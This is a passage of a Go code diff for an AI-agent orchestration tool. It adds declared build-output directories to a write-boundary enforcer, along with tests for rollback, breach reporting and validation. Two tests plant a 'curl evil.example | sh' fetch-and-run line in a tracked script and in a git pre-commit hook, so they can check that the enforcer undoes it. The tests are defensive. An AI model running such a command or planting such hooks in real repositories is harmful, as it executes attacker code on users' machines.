+func TestAGrantOnASubdirectoryOfAnIgnoredDirectoryFailsClosed(t *testing.T) {
+ for _, c := range []struct {
+ grant string
+ output bool
+ }{
+ {"cache/bin/**", false},
+ {"cache/**", true},
+ } {
+ t.Run(c.grant, func(t *testing.T) {
+ ctx := context.Background()
+ dir := initBoundaryRepo(t)
+ write(t, dir, ".gitignore", "cache/\n")
+ gitIn(t, dir, "commit", "--quiet", "-am", "ignore cache")
+ before := snapshotOrFail(t, ctx, dir)
+ write(t, dir, "cache/bin/x", "output")
+
+ _, outputs, breaches, err := enforceBoundary(ctx, dir, before, []string{}, []string{c.grant})
+ if err != nil {
+ t.Fatal(err)
+ }
+ _, statErr := os.Stat(filepath.Join(dir, "cache/bin/x"))
+ if c.output {
+ if len(breaches) != 0 || len(outputs) != 1 || outputs[0] != "cache/" {
+ t.Fatalf("breaches = %+v, outputs = %v, want the output [cache/]", breaches, outputs)
+ }
+ if statErr != nil {
+ t.Fatalf("the build output did not survive: %v", statErr)
+ }
+ return
+ }
+ if len(outputs) != 0 || len(breaches) != 1 || breaches[0].Path != "cache/" ||
+ breaches[0].Outcome != "deleted" {
+ t.Fatalf("breaches = %+v, outputs = %v, want cache/ rolled back with the plain outcome",
+ breaches, outputs)
+ }
+ if !os.IsNotExist(statErr) {
+ t.Fatalf("the breached write survived: %v", statErr)
+ }
+ })
+ }
+}
+
+// HEAD wins over the grant: a path tracked in HEAD is repository content,
+// even where git would ignore it untracked.
+func TestABuildOutputGlobNeverCoversATrackedPath(t *testing.T) {
+ ctx := context.Background()
+ dir := initOutputRepo(t, true)
+ write(t, dir, "bin/tool.sh", "#!/bin/sh\necho original\n")
+ write(t, dir, "bin/keep.txt", "keep\n")
+ gitIn(t, dir, "add", "--force", "bin/tool.sh", "bin/keep.txt")
+ gitIn(t, dir, "commit", "--quiet", "-m", "track bin files")
+ before := snapshotOrFail(t, ctx, dir)
+
+ write(t, dir, "bin/tool.sh", "#!/bin/sh\ncurl evil.example | sh\n")
+ if err := os.Remove(filepath.Join(dir, "bin/keep.txt")); err != nil {
+ t.Fatal(err)
+ }
+ write(t, dir, "bin/new.o", "object")
+
+ touched, outputs, breaches, err := enforceBoundary(ctx, dir, before, []string{}, []string{"bin/**"})
+ if err != nil {
+ t.Fatal(err)
+ }
+ if len(touched) != 0 {
+ t.Fatalf("touched = %v, want empty", touched)
+ }
+ outcomes := make(map[string]string, len(breaches))
+ for _, item := range breaches {
+ outcomes[item.Path] = item.Outcome
+ }
+ for _, path := range []string{"bin/tool.sh", "bin/keep.txt"} {
+ if outcomes[path] != "rolled back" {
+ t.Fatalf("breaches = %+v, want %s rolled back", breaches, path)
+ }
+ }
+ if len(breaches) != 2 {
+ t.Fatalf("breaches = %+v, want exactly the two tracked paths", breaches)
+ }
+ if len(outputs) != 1 || outputs[0] != "bin/new.o" {
+ t.Fatalf("outputs = %v, want [bin/new.o]", outputs)
+ }
+ body, err := os.ReadFile(filepath.Join(dir, "bin/tool.sh"))
+ if err != nil || string(body) != "#!/bin/sh\necho original\n" {
+ t.Fatalf("the tracked file was not restored: %q (%v)", body, err)
+ }
+ if _, err := os.Stat(filepath.Join(dir, "bin/keep.txt")); err != nil {
+ t.Fatalf("the deleted tracked file was not restored: %v", err)
+ }
+}
+
+// Git metadata is a separate, absolute-path map no grant is ever applied
+// to: a pattern that would match a hooks directory as content grants nothing
+// inside `.git`.
+func TestBuildOutputsNeverReachGitMetadata(t *testing.T) {
+ ctx := context.Background()
+ dir := initBoundaryRepo(t)
+ write(t, dir, ".gitignore", "hooks/\n")
+ write(t, dir, "tools/README.md", "tools\n")
+ gitIn(t, dir, "add", ".")
+ gitIn(t, dir, "commit", "--quiet", "-m", "ignore hooks directories")
+ before := snapshotOrFail(t, ctx, dir)
+
+ hook := filepath.Join(dir, ".git", "hooks", "pre-commit")
+ if err := os.WriteFile(hook, []byte("#!/bin/sh\ncurl evil.example | sh\n"), 0o755); err != nil {
+ t.Fatal(err)
+ }
+ write(t, dir, "tools/hooks/lint.sh", "ignored content the grant does cover")
+
+ _, outputs, breaches, err := enforceBoundary(ctx, dir, before, nil, []string{"**/hooks/**"})
+ if err != nil {
+ t.Fatal(err)
+ }
+ if len(breaches) != 1 || !strings.HasSuffix(breaches[0].Path, "hooks/pre-commit") ||
+ breaches[0].Outcome != "deleted" {
+ t.Fatalf("breaches = %+v, want the planted hook deleted", breaches)
+ }
+ if contains(outputs, breaches[0].Path) {
+ t.Fatalf("outputs = %v, want git metadata never classified as an output", outputs)
+ }
+ if len(outputs) != 1 || outputs[0] != "tools/hooks/" {
+ t.Fatalf("outputs = %v, want the ignored content the grant covers", outputs)
+ }
+ if _, err := os.Stat(hook); !os.IsNotExist(err) {
+ t.Fatal("the planted hook survived")
+ }
+}
+
+// restoreSnapshot is unchanged by build outputs (R11): what the dead phase
+// introduced goes, outputs included; what was already dirty is left in its
+// post-agent state silently, and only a revert is reported.
+func TestRestoreSnapshotRemovesNewBuildOutputsAndReportsOnlyReverts(t *testing.T) {
+ t.Run("fresh bin is deleted", func(t *testing.T) {
+ ctx := context.Background()
+ dir := initOutputRepo(t, true)
+ before := snapshotOrFail(t, ctx, dir)
+ write(t, dir, "bin/jig", "binary")
+ if err := restoreSnapshot(ctx, dir, before); err != nil {
+ t.Fatal(err)
+ }
+ if _, err := os.Stat(filepath.Join(dir, "bin")); !os.IsNotExist(err) {
+ t.Fatalf("the crashed phase's fresh bin/ survived: %v", err)
+ }
+ })
+ t.Run("pre-dirty paths are left and reverts reported", func(t *testing.T) {
+ ctx := context.Background()
+ dir := initOutputRepo(t, true)
+ write(t, dir, "bin/old", "earlier build")
+ write(t, dir, "tracked.txt", "operator edit\n")
+ write(t, dir, "docs/guide.md", "operator draft\n")
+ before := snapshotOrFail(t, ctx, dir)
+
+ write(t, dir, "bin/new", "added by the crashed phase")
+ write(t, dir, "tracked.txt", "agent edit\n")
+ write(t, dir, "docs/guide.md", "guide\n") // reverts the operator's draft
+
+ after := snapshotOrFail(t, ctx, dir)
+ if outcome := rollBackPath(ctx, dir, "bin/", before.paths, after.paths); !strings.HasPrefix(outcome, "left as-is") {
+ t.Fatalf("pre-existing bin/ outcome = %q, want left as-is", outcome)
+ }
+ err := restoreSnapshot(ctx, dir, before)
+ if err == nil || !strings.Contains(err.Error(), "docs/guide.md: reverted-by-agent") {
+ t.Fatalf("restore error = %v, want the reverted pre-dirty file reported", err)
+ }
+ if strings.Contains(err.Error(), "bin/") || strings.Contains(err.Error(), "tracked.txt") {
+ t.Fatalf("restore error = %v, want only the revert reported", err)
+ }
+ if _, statErr := os.Stat(filepath.Join(dir, "bin/new")); statErr != nil {
+ t.Fatalf("a file added inside a pre-existing bin/ did not survive: %v", statErr)
+ }
+ body, readErr := os.ReadFile(filepath.Join(dir, "tracked.txt"))
+ if readErr != nil || string(body) != "agent edit\n" {
+ t.Fatalf("pre-dirty tracked file = %q, want its post-agent state", body)
+ }
+ })
+}
+
// Jig's own git commands must not execute repository-supplied code: the
// worktree they run in is one an agent just wrote.
func TestJigSideGitCommandsDoNotRunRepositoryHooks(t *testing.T) {
@@ -445,7 +782,7 @@ func TestJigSideGitCommandsDoNotRunRepositoryHooks(t *testing.T) {
before := snapshotOrFail(t, ctx, dir)
write(t, dir, "tracked.txt", "agent edit\n")
- if _, _, err := enforceBoundary(ctx, dir, before, []string{"src/"}); err != nil {
+ if _, _, _, err := enforceBoundary(ctx, dir, before, []string{"src/"}, nil); err != nil {
t.Fatal(err)
}
if _, err := os.Stat(marker); err == nil {
diff --git a/internal/engine/parallel.go b/internal/engine/parallel.go
index e183a28..fc556ce 100644
--- a/internal/engine/parallel.go
+++ b/internal/engine/parallel.go
@@ -303,24 +303,31 @@ func (e *execution) runMembers(
// Execute's deferred cleanup still runs. Siblings kept running until
// the stop, so the worktree is enforced first: a sibling's write
// must not outlive the attempt just because another member crashed.
- _, breaches, err := enforceBoundary(
- context.WithoutCancel(ctx), e.attempt.WorktreePath, before, []string{})
+ _, outputs, breaches, err := enforceBoundary(
+ context.WithoutCancel(ctx), e.attempt.WorktreePath, before, []string{}, e.spec.BuildOutputs)
e.emit.emit(protocol.EventError, "", "parallel_group_panic", map[string]any{
"parallel_group": names, "panic": fmt.Sprint(panicValue),
- "breaches": breaches, "enforcement_error": errorText(err),
+ "breaches": breaches, "build_outputs": outputs, "enforcement_error": errorText(err),
})
panic(panicValue)
}
// The one enforcement, detached from the caller's context: cancellation
// is one of the exits it guards, and on a dead context every git command
- // would fail.
- _, breaches, err := enforceBoundary(context.WithoutCancel(ctx), e.attempt.WorktreePath, before, []string{})
+ // would fail. Declared build outputs pass whatever happened to the member
+ // that wrote them — one snapshot means no per-member attribution, so the
+ // trace names the group, never a role.
+ _, outputs, breaches, err := enforceBoundary(
+ context.WithoutCancel(ctx), e.attempt.WorktreePath, before, []string{}, e.spec.BuildOutputs)
if err != nil {
return e.groupInfra(names, "write-boundary enforcement: "+err.Error())
}
+ if len(outputs) > 0 {
+ e.emit.emit(protocol.EventLog, "", "build_outputs_touched",
+ map[string]any{"parallel_group": names, "paths": outputs})
+ }
if len(breaches) > 0 {
- return e.groupBreach(members, active, runs, names, breaches)
+ return e.groupBreach(members, active, runs, names, breaches, outputs)
}
if len(terminals) > 0 {
return groupTerminalEnd(terminals)
@@ -373,9 +380,10 @@ func groupTerminalEnd(terminals []memberTerminal) *chainEnd {
// be pinned on one of them.
func (e *execution) groupBreach(
members []protocol.PhaseSpec, active []int, runs []memberRun, names []string, breaches []breach,
+ outputs []string,
) *chainEnd {
e.emit.emit(protocol.EventError, "", "write_boundary_breach", map[string]any{
- "parallel_group": names, "writes": []string{}, "breaches": breaches,
+ "parallel_group": names, "writes": []string{}, "breaches": breaches, "build_outputs": outputs,
})
for _, i := range active {
entry := 0
@@ -392,7 +400,7 @@ func (e *execution) groupBreach(
paths = append(paths, item.Path+" — "+item.Outcome)
}
return &chainEnd{endAborted, fmt.Sprintf(
- "parallel group [%s]: members are read-only, but %d path(s) changed during the group: %s",
+ "parallel group [%s]: members may write only declared build outputs, but %d path(s) changed during the group: %s",
strings.Join(names, ", "), len(breaches), strings.Join(paths, "; "))}
}
diff --git a/internal/engine/parallel_test.go b/internal/engine/parallel_test.go
index 60a80fe..075d89c 100644
--- a/internal/engine/parallel_test.go
+++ b/internal/engine/parallel_test.go
@@ -912,6 +912,152 @@ func contains(items []string, want string) bool {
return false
}
+// groupEventPayload decodes the payload of the first group-level (phaseless)
+// event of the given type and name.
+func groupEventPayload(t *testing.T, sink *recordingSink, eventType, name string) map[string]any {
+ t.Helper()
+ for _, event := range sink.all() {
+ if event.Type == eventType && event.Name == name && event.Phase == "" {
+ var payload map[string]any
+ if err := json.Unmarshal(event.Payload, &payload); err != nil {
+ t.Fatalf("%s payload does not parse: %v", name, err)
+ }
+ return payload
+ }
+ }
+ t.Fatalf("no group-level %s event", name)
+ return nil
+}
+
+func payloadStrings(payload map[string]any, key string) []string {
+ items, _ := payload[key].([]any)
+ values := make([]string, 0, len(items))
+ for _, item := range items {
+ if value, ok := item.(string); ok {
+ values = append(values, value)
+ }
+ }
+ return values
+}
+
+// Members are read-only apart from the definition's declared build outputs.
+// The group takes one snapshot, so the outputs it reports carry the group,
+// never a role.
+func TestAMemberMayWriteDeclaredBuildOutputsAndNothingElse(t *testing.T) {
+ t.Run("only an output", func(t *testing.T) {
+ f := newRepairFixture(t, panelSnapshot(nil, panelGroup)+buildOutputsLine, nil)
+ ignoreBin(t, f.repo)
+ reviewer := approve("correct", nil)
+ reviewer.Files = map[string]string{"bin/jig": "a reviewer ran the build"}
+ f.fake.Route(buildRole, writes(map[string]string{"src/app.txt": "app"}, "built the app"))
+ f.fake.Route(correctnessRole, reviewer)
+ f.fake.Route(securityRole, approve("secure", nil))
+ f.fake.Route(maintainabilityRole, approve("maintainable", nil))
+ f.fake.Route(closerRole, success("wrapped up", nil))
+
+ outcome := executeWithin(t, f, 20*time.Second)
+ if outcome.State != protocol.AttemptAcceptedUnpublished {
+ t.Fatalf("outcome = %s (%s), want accepted", outcome.State, outcome.Error)
+ }
+ payload := groupEventPayload(t, f.sink, protocol.EventLog, "build_outputs_touched")
+ if _, hasGroup := payload["parallel_group"]; !hasGroup {
+ t.Fatalf("payload = %v, want parallel_group", payload)
+ }
+ if _, hasRole := payload["role"]; hasRole {
+ t.Fatalf("payload = %v, want no role: one snapshot cannot attribute a write", payload)
+ }
+ if paths := payloadStrings(payload, "paths"); !contains(paths, "bin/") {
+ t.Fatalf("paths = %v, want the collapsed bin/", paths)
+ }
+ if _, err := os.Stat(filepath.Join(f.repo, "bin/jig")); err != nil {
+ t.Fatalf("the build output did not survive the group: %v", err)
+ }
+ })
+ t.Run("an output and a stray write", func(t *testing.T) {
+ f := newRepairFixture(t, panelSnapshot(nil, panelGroup)+buildOutputsLine, nil)
+ ignoreBin(t, f.repo)
+ sneaky := approve("correct", nil)
+ sneaky.Files = map[string]string{"bin/jig": "a reviewer ran the build", "notes.txt": "scratch"}
+ f.fake.Route(buildRole, writes(map[string]string{"src/app.txt": "app"}, "built the app"))
+ f.fake.Route(correctnessRole, sneaky)
+ f.fake.Route(securityRole, approve("secure", nil))
+ f.fake.Route(maintainabilityRole, approve("maintainable", nil))
+
+ outcome := executeWithin(t, f, 20*time.Second)
+ if outcome.State != protocol.AttemptFailed || !strings.Contains(outcome.Error, "notes.txt") {
+ t.Fatalf("outcome = %s (%s), want failed on a breach naming notes.txt", outcome.State, outcome.Error)
+ }
+ if strings.Contains(outcome.Error, "bin/") {
+ t.Fatalf("error %q names the declared build output as a breach", outcome.Error)
+ }
+ payload := groupEventPayload(t, f.sink, protocol.EventError, "write_boundary_breach")
+ if outputs := payloadStrings(payload, "build_outputs"); !contains(outputs, "bin/") {
+ t.Fatalf("breach payload build_outputs = %v, want the collapsed bin/", outputs)
+ }
+ })
+}
+
+// Outputs a dead member wrote survive the group: a member's death rolls
+// nothing back, and the group's one enforcement passes declared outputs.
+func TestADeadMembersBuildOutputsSurviveTheGroup(t *testing.T) {
+ f := newRepairFixture(t, panelSnapshot(nil, panelGroup)+buildOutputsLine, nil)
+ ignoreBin(t, f.repo)
+ f.fake.Route(buildRole, writes(map[string]string{"src/app.txt": "app"}, "built the app"))
+ f.fake.Route(correctnessRole,
+ enginetest.Step{Crash: true, Files: map[string]string{"bin/x": "half a build"}},
+ approve("correct", nil))
+ f.fake.Route(securityRole, approve("secure", nil))
+ f.fake.Route(maintainabilityRole, approve("maintainable", nil))
+ f.fake.Route(closerRole, success("wrapped up", nil))
+
+ outcome := executeWithin(t, f, 20*time.Second)
+ if outcome.State != protocol.AttemptAcceptedUnpublished {
+ t.Fatalf("outcome = %s (%s), want accepted", outcome.State, outcome.Error)
+ }
+ if _, err := os.Stat(filepath.Join(f.repo, "bin/x")); err != nil {
+ t.Fatalf("the dead member's build output did not survive: %v", err)
+ }
+ if f.sink.has(protocol.EventError, "write_boundary_breach") {
+ t.Fatal("a dead member's declared build output raised a breach")
+ }
+}
+
+func TestAPanickingGroupReportsBuildOutputsBesideBreaches(t *testing.T) {
+ f := newRepairFixture(t, panelSnapshot(nil, twoMemberGroup)+buildOutputsLine, nil)
+ ignoreBin(t, f.repo)
+ correctnessStarted := make(chan struct{})
+ f.fake.Route(buildRole, writes(map[string]string{"src/app.txt": "app"}, "built the app"))
+ f.fake.Route(correctnessRole, enginetest.Step{Hang: true, Started: correctnessStarted,
+ Files: map[string]string{"planted.txt": "written before the crash", "bin/jig": "binary"}})
+ f.fake.Route(securityRole, enginetest.Step{Do: func(enginetest.Call) {
+ <-correctnessStarted
+ panic("runtime blew up")
+ }})
+
+ recovered := func() (value any) {
+ defer func() { value = recover() }()
+ f.runner.Execute(context.Background(), f.attempt)
+ return nil
+ }()
+ if recovered != "runtime blew up" {
+ t.Fatalf("Execute recovered %v, want the member's panic re-raised", recovered)
+ }
+ payload := groupEventPayload(t, f.sink, protocol.EventError, "parallel_group_panic")
+ if outputs := payloadStrings(payload, "build_outputs"); !contains(outputs, "bin/") {
+ t.Fatalf("panic payload build_outputs = %v, want the collapsed bin/", outputs)
+ }
+ breaches, _ := payload["breaches"].([]any)
+ found := false
+ for _, item := range breaches {
+ if entry, ok := item.(map[string]any); ok && entry["path"] == "planted.txt" {
+ found = true
+ }
+ }
+ if !found {
+ t.Fatalf("panic payload breaches = %v, want planted.txt", breaches)
+ }
+}
+
// A member HOME that cannot be wiped keeps the chain from being handed to
// a round, exactly as the chain's own HOME does.
func TestAnUnwipeableMemberHomeIsNeverHandedToARound(t *testing.T) {
diff --git a/internal/engine/phase.go b/internal/engine/phase.go
index 610ade7..71e3abb 100644
--- a/internal/engine/phase.go
+++ b/internal/engine/phase.go
@@ -1103,21 +1103,27 @@ func (e *execution) failInfra(phase, detail string) phaseRun {
// failure when the comparison itself broke, or the abort when the role
// overstepped — the phase result is recorded here in that case, so callers
// must not record their own. Every exit from an agent phase entry that had a
-// live subprocess goes through this, success and failure alike.
+// live subprocess goes through this, success and failure alike — which is
+// why the build_outputs_touched trace is emitted here and nowhere else.
func (e *execution) enforceWriteBoundary(
ctx context.Context, phase protocol.PhaseSpec, entry int, started time.Time,
before treeSnapshot, writes []string,
) (touched []string, terminal *phaseRun) {
- touched, breaches, err := enforceBoundary(ctx, e.attempt.WorktreePath, before, writes)
+ touched, outputs, breaches, err := enforceBoundary(
+ ctx, e.attempt.WorktreePath, before, writes, e.spec.BuildOutputs)
if err != nil {
run := e.failInfra(phase.Name, "write-boundary enforcement: "+err.Error())
return nil, &run
}
+ if len(outputs) > 0 {
+ e.emit.emit(protocol.EventLog, phase.Name, "build_outputs_touched",
+ map[string]any{"role": phase.Owner, "paths": outputs})
+ }
if len(breaches) == 0 {
return touched, nil
}
e.emit.emit(protocol.EventError, phase.Name, "write_boundary_breach", map[string]any{
- "role": phase.Owner, "writes": writes, "breaches": breaches,
+ "role": phase.Owner, "writes": writes, "breaches": breaches, "build_outputs": outputs,
})
e.recordResult(protocol.PhaseResult{
Phase: phase.Name, Kind: phase.Kind, Status: protocol.EnvelopeFail,
diff --git a/internal/engine/phase_test.go b/internal/engine/phase_test.go
index 5cc3685..a3b738f 100644
--- a/internal/engine/phase_test.go
+++ b/internal/engine/phase_test.go
@@ -2263,3 +2263,186 @@ acceptance: [all_phases_passed]
}
}
}
+
+// ---- scenario: build outputs -----------------------------------------------
+
+const buildOutputsLine = "build_outputs: [\"bin/**\"]\n"
+
+// ignoreBin commits a .gitignore listing bin/, so a grant covers it and a
+// wholly-untracked bin/ is the one collapsed entry git enumerates.
+func ignoreBin(t *testing.T, repo string) {
+ t.Helper()
+ if err := os.WriteFile(filepath.Join(repo, ".gitignore"), []byte("bin/\n"), 0o644); err != nil {
+ t.Fatal(err)
+ }
+ for _, args := range [][]string{{"add", ".gitignore"}, {"commit", "--quiet", "-m", "ignore bin"}} {
+ command := exec.Command("git", args...)
+ command.Dir = repo
+ if output, err := command.CombinedOutput(); err != nil {
+ t.Fatalf("git %v: %v: %s", args, err, output)
+ }
+ }
+}
+
+// outputsTouched returns the paths of every build_outputs_touched event the
+// phase emitted, and whether each carried the role that wrote them.
+func outputsTouched(t *testing.T, sink *recordingSink, phase string) (paths []string, roles []string) {
+ t.Helper()
+ for _, event := range sink.all() {
+ if event.Type != protocol.EventLog || event.Name != "build_outputs_touched" || event.Phase != phase {
+ continue
+ }
+ var payload struct {
+ Role string `json:"role"`
+ Paths []string `json:"paths"`
+ }
+ if err := json.Unmarshal(event.Payload, &payload); err != nil {
+ t.Fatalf("build_outputs_touched payload does not parse: %v", err)
+ }
+ paths = append(paths, payload.Paths...)
+ roles = append(roles, payload.Role)
+ }
+ return paths, roles
+}
+
+// Outputs are classified before the allowlist for every role, so the
+// builder with an unrestricted allowlist and the read-only reviewer get the
+// same answer: bin/ never enters changed_paths, the path jig stages.
+func TestBuildOutputsAreExcludedFromChangedPathsForEveryAllowlist(t *testing.T) {
+ for _, c := range []struct {
+ name string
+ writesLine string
+ legitimate bool
+ }{
+ {"read-only", " writes: []\n", false},
+ {"unrestricted glob", " writes: [\"**\"]\n", true},
+ {"writes omitted", "", true},
+ } {
+ t.Run(c.name, func(t *testing.T) {
+ repo := initRepo(t)
+ ignoreBin(t, repo)
+ checkFiles := map[string]string{"bin/check": "check build"}
+ want := []string{"src/app.txt"}
+ if c.legitimate {
+ checkFiles["notes.md"] = "the role's own write"
+ want = []string{"notes.md", "src/app.txt"}
+ }
+ fake := enginetest.New(
+ enginetest.Step{Files: map[string]string{"src/app.txt": "app", "bin/jig": "binary"},
+ Text: envelope(map[string]any{"status": "success", "summary": "built"})},
+ enginetest.Step{Files: checkFiles,
+ Text: envelope(map[string]any{"status": "success", "summary": "checked"})},
+ )
+ sink := &recordingSink{}
+ runner := newTestRunner(t, fake, sink, nil)
+ snapshot := "name: t\n" + repairRoster + `
+ checker:
+ model: test-model
+ system_prompt: Check.
+ user_prompt: "Run the checks."
+` + c.writesLine + `phases:
+ - {name: build, kind: agent, owner: builder}
+ - {name: check, kind: agent, owner: checker}
+acceptance: [all_phases_passed]
+` + buildOutputsLine
+ outcome := runner.Execute(context.Background(), testAttempt(snapshot, nil, repo))
+ if outcome.State != protocol.AttemptAcceptedUnpublished {
+ t.Fatalf("state = %q (%s), want accepted_unpublished", outcome.State, outcome.Error)
+ }
+ if got := changedPaths(t, outcome.Result); strings.Join(got, ",") != strings.Join(want, ",") {
+ t.Fatalf("changed_paths = %v, want %v (no build output)", got, want)
+ }
+ if paths, _ := outputsTouched(t, sink, "build"); !contains(paths, "bin/") {
+ t.Fatalf("build's build_outputs_touched = %v, want the collapsed bin/", paths)
+ }
+ paths, roles := outputsTouched(t, sink, "check")
+ if !contains(paths, "bin/") || !contains(roles, "checker") {
+ t.Fatalf("check's build_outputs_touched = %v by %v, want bin/ by checker", paths, roles)
+ }
+ if sink.has(protocol.EventError, "write_boundary_breach") {
+ t.Fatal("a declared build output raised a write_boundary_breach")
+ }
+ })
+ }
+}
+
+// The failure and cancellation exits enforce the boundary too, so they trace
+// the outputs their agent wrote exactly as the success exit does.
+func TestBuildOutputsTouchedIsTracedOnFailedAndCancelledExits(t *testing.T) {
+ t.Run("gate exhaustion", func(t *testing.T) {
+ repo := initRepo(t)
+ ignoreBin(t, repo)
+ claim := envelope(map[string]any{"status": "success", "summary": "wrote out.txt",
+ "artifacts": []any{"out.txt"}})
+ fake := enginetest.New(
+ enginetest.Step{Files: map[string]string{"out.txt": "", "bin/jig": "binary"}, Text: claim},
+ enginetest.Step{Text: claim},
+ )
+ sink := &recordingSink{}
+ runner := newTestRunner(t, fake, sink, nil)
+ snapshot := "name: t\n" + oneWriterRoster + `
+phases:
+ - name: build
+ kind: agent
+ owner: writer
+ gates:
+ - {name: files_non_empty, budget: 1}
+` + buildOutputsLine
+ outcome := runner.Execute(context.Background(), testAttempt(snapshot, nil, repo))
+ if outcome.State != protocol.AttemptFailed || !strings.Contains(outcome.Error, "failed gates") {
+ t.Fatalf("outcome = %q (%s), want failed on gate exhaustion", outcome.State, outcome.Error)
+ }
+ if strings.Contains(outcome.Error, "outside its write allowlist") {
+ t.Fatalf("error %q reports a breach for a declared build output", outcome.Error)
+ }
+ if paths, _ := outputsTouched(t, sink, "build"); !contains(paths, "bin/") {
+ t.Fatalf("build_outputs_touched = %v on the failure exit, want the collapsed bin/", paths)
+ }
+ })
+ t.Run("cancellation", func(t *testing.T) {
+ repo := initRepo(t)
+ ignoreBin(t, repo)
+ fake := enginetest.New(enginetest.Step{Files: map[string]string{"bin/jig": "binary"}, Hang: true})
+ cancelled := make(chan struct{})
+ go func() {
+ time.Sleep(100 * time.Millisecond)
+ close(cancelled)
+ }()
+ sink := &recordingSink{}
+ runner := newTestRunner(t, fake, sink, nil)
+ snapshot := "name: t\n" + repairRoster + `
+phases:
+ - {name: build, kind: agent, owner: builder}
+` + buildOutputsLine
+ attempt := testAttempt(snapshot, nil, repo)
+ attempt.Cancelled = cancelled
+ outcome := runner.Execute(context.Background(), attempt)
+ if outcome.State != protocol.AttemptCancelled {
+ t.Fatalf("state = %q (%s), want cancelled", outcome.State, outcome.Error)
+ }
+ if paths, _ := outputsTouched(t, sink, "build"); !contains(paths, "bin/") {
+ t.Fatalf("build_outputs_touched = %v on the cancellation exit, want the collapsed bin/", paths)
+ }
+ })
+}
+
+// A CI repair round whose only writes are build outputs changed nothing jig
+// would push, so it ends the repair (resume.go's no-change rule).
+func TestAnOutputOnlyCIRepairRoundEndsNoChange(t *testing.T) {
+ f := newRepairFixture(t, ciRepairSnapshot+buildOutputsLine, nil, chainSteps()...)
+ ignoreBin(t, f.repo)
+ continuation := f.execute(t).Continuation
+ if continuation == nil {
+ t.Fatal("the chain kept no continuation")
+ }
+ defer continuation.Release()
+ f.fake.Append(writes(map[string]string{"bin/jig": "rebuilt"}, "rebuilt the binary"),
+ success("fine", map[string]any{"approved": true}))
+ round := continuation.RepairCI(context.Background(), redLint)
+ if round.State != protocol.AttemptAcceptedUnpublished || !strings.Contains(round.Error, "ci_repair_no_change") {
+ t.Fatalf("round = %+v, want accepted with ci_repair_no_change", round)
+ }
+ if paths, _ := outputsTouched(t, f.sink, "build"); !contains(paths, "bin/") {
+ t.Fatalf("build_outputs_touched = %v in the round, want the collapsed bin/", paths)
+ }
+}
diff --git a/internal/protocol/definition.go b/internal/protocol/definition.go
index 0679922..632a5c7 100644
--- a/internal/protocol/definition.go
+++ b/internal/protocol/definition.go
@@ -84,15 +84,42 @@ type DefinitionSpec struct {
Parallel ParallelGroup `yaml:"parallel"`
Acceptance []string `yaml:"acceptance"`
Publish *PublishSpec `yaml:"publish"`
+
+ // BuildOutputs names the directories any role — `writes: []` reviewers
+ // and parallel-group members included — may write without breaching the
+ // write boundary, so a read-only role can run the repository's own check
+ // command (`go build -o bin/...`). Every entry is a directory grant of
+ // exactly one shape, `` literal: `/**`, `**//**` (matches
+ // the directory at the root and nested), or `/`. A grant covers
+ // gitignored paths only: a path under a grant that is not gitignored is
+ // ordinary repository content judged by `writes` (for `writes: []`, a
+ // breach saying so). A grant matches a path as git enumerates it — a
+ // wholly-ignored directory is one `dir/` entry — so declare the directory
+ // git ignores: with `cache/` ignored, `cache/**` covers `cache/bin/x`
+ // but `cache/bin/**` does not. A path tracked in HEAD is never an
+ // output, and git metadata is never covered.
+ //
+ // Scope: the grant governs how the write boundary classifies untracked
+ // paths and, through it, the engine-computed changed paths jig stages
+ // at publish — an output is never one of them, so jig never stages it.
+ // It does not inspect commits: publish pushes HEAD as it stands, so an
+ // output a role commits itself is published under that role's `writes`
+ // authority, and thereafter it is tracked repository content. nil and
+ // an empty list are the same: no grant. It is never merged into `writes`.
+ BuildOutputs []string `yaml:"build_outputs"`
}
// ParallelGroup is the one opt-in parallel construct: the names of two or
// more consecutive agent phases, in chain order, that run concurrently as
-// one step of the chain. Every member is a read-only role (`writes: []`)
-// with its own owner, and no member's `if:` guard reads a field a sibling
-// reports, because every member is judged against the envelope and field
-// view that preceded the group. Members' results merge in declared order,
-// and the phase after the group receives the last member's envelope.
+// one step of the chain. Every member is a read-only role (`writes: []`,
+// apart from the definition's declared `build_outputs`) with its own owner,
+// and no member's `if:` guard reads a field a sibling reports, because
+// every member is judged against the envelope and field view that preceded
+// the group. Members' results merge in declared order, and the phase after
+// the group receives the last member's envelope. Build outputs written
+// during the group survive it whatever happened to the member that wrote
+// them: the group takes one snapshot and enforces once, so there is no
+// per-member attribution and no per-member rollback.
//
// It reopens v1's "no parallel phases" non-goal (V1:KTD2) for exactly this
// shape and no other: reviewers that read the same tree and report
@@ -364,6 +391,9 @@ func (spec *DefinitionSpec) Validate() error {
if err := spec.validateRuntime(); err != nil {
return err
}
+ if err := spec.validateBuildOutputs(); err != nil {
+ return err
+ }
phasesByName := make(map[string]PhaseSpec, len(spec.Phases))
for _, phase := range spec.Phases {
if strings.TrimSpace(phase.Name) == "" {
@@ -452,7 +482,8 @@ func (spec *DefinitionSpec) validateParallel(phases map[string]PhaseSpec) error
}
if writes := spec.Roster[phase.Owner].Writes; writes == nil || len(writes) > 0 {
return fmt.Errorf("parallel: member %q runs role %q, which may write; "+
- "every member's role must declare writes: []", name, phase.Owner)
+ "every member's role must declare writes: [] (apart from declared build_outputs, "+
+ "members are read-only)", name, phase.Owner)
}
if other, shared := owners[phase.Owner]; shared {
return fmt.Errorf("parallel: members %q and %q share owner role %q; "+
@@ -835,6 +866,70 @@ func validateGateAllow(gate GateSpec) error {
return nil
}
+// validateBuildOutputs checks the build_outputs grant at save time. Every
+// entry must be a DIRECTORY grant of exactly one of three shapes —
+// `/**`, `**//**`, or `/` — because the write
+// boundary sees a wholly-ignored directory as one collapsed `dir/` entry and
+// a grant is honoured only when it matches the path as git enumerates it. A
+// file-level pattern (`bin/*.o`) or an interior wildcard (`*/bin/**`,
+// `b?n/**`) could match a file while missing the collapsed entry that holds
+// it, so ignored and unignored would disagree. Whitespace around an entry is
+// refused, not trimmed: validation and matching must see one string.
+// Whether a path is gitignored or tracked in HEAD is decided at enforcement
+// time, not here.
+func (spec *DefinitionSpec) validateBuildOutputs() error {
+ for _, pattern := range spec.BuildOutputs {
+ if pattern == "" {
+ return fmt.Errorf("build_outputs: %q: entries must be non-empty directory patterns", pattern)
+ }
+ if pattern != strings.TrimSpace(pattern) {
+ return fmt.Errorf("build_outputs: %q: must not have leading or trailing whitespace", pattern)
+ }
+ if err := validateBuildOutput(pattern); err != nil {
+ return fmt.Errorf("build_outputs: %q: %w", pattern, err)
+ }
+ }
+ return nil
+}
+
+func validateBuildOutput(pattern string) error {
+ if strings.ContainsAny(pattern, "\x00\n\r") {
+ return fmt.Errorf("must not contain NUL or a line break")
